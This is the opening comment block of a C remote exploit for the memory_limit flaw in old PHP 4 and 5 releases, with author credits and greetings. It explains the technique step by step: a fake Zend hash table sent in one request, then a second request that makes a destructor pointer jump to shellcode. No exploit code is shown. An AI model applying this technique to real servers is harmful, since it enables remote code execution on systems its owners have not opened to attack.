/* Remote exploit for the php memory_limit vulnerability found by Stefan
* Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
*
* by Gyan Chawdhary (gunnu45@hotmail.com)
* (felinemenace.org/~gyan)
*
* Greets
* S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
* scrippie, gera, riq, jaguar, girish, n2n ...
*
* Vulnerability:
* The issue is well documented in the advisory.
*
* Exploitation:
* I cud not find a generic way to free a 40 byte chunk which could be later
* used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
* which will be sent in the first request. The second request will kick in the
* memory interuption after allocating space for the hashtable and before it is
* initalized. The memory it will use for this allocation will contain the data
* from our previous request which includes the pDestructor pointer pointing to
* our nop+shellcode which is a part of the second request. This happens in the
* zend_hash_destory function.
*
* PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
* for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
* Apache 2.0.49 with register_globals = On
*
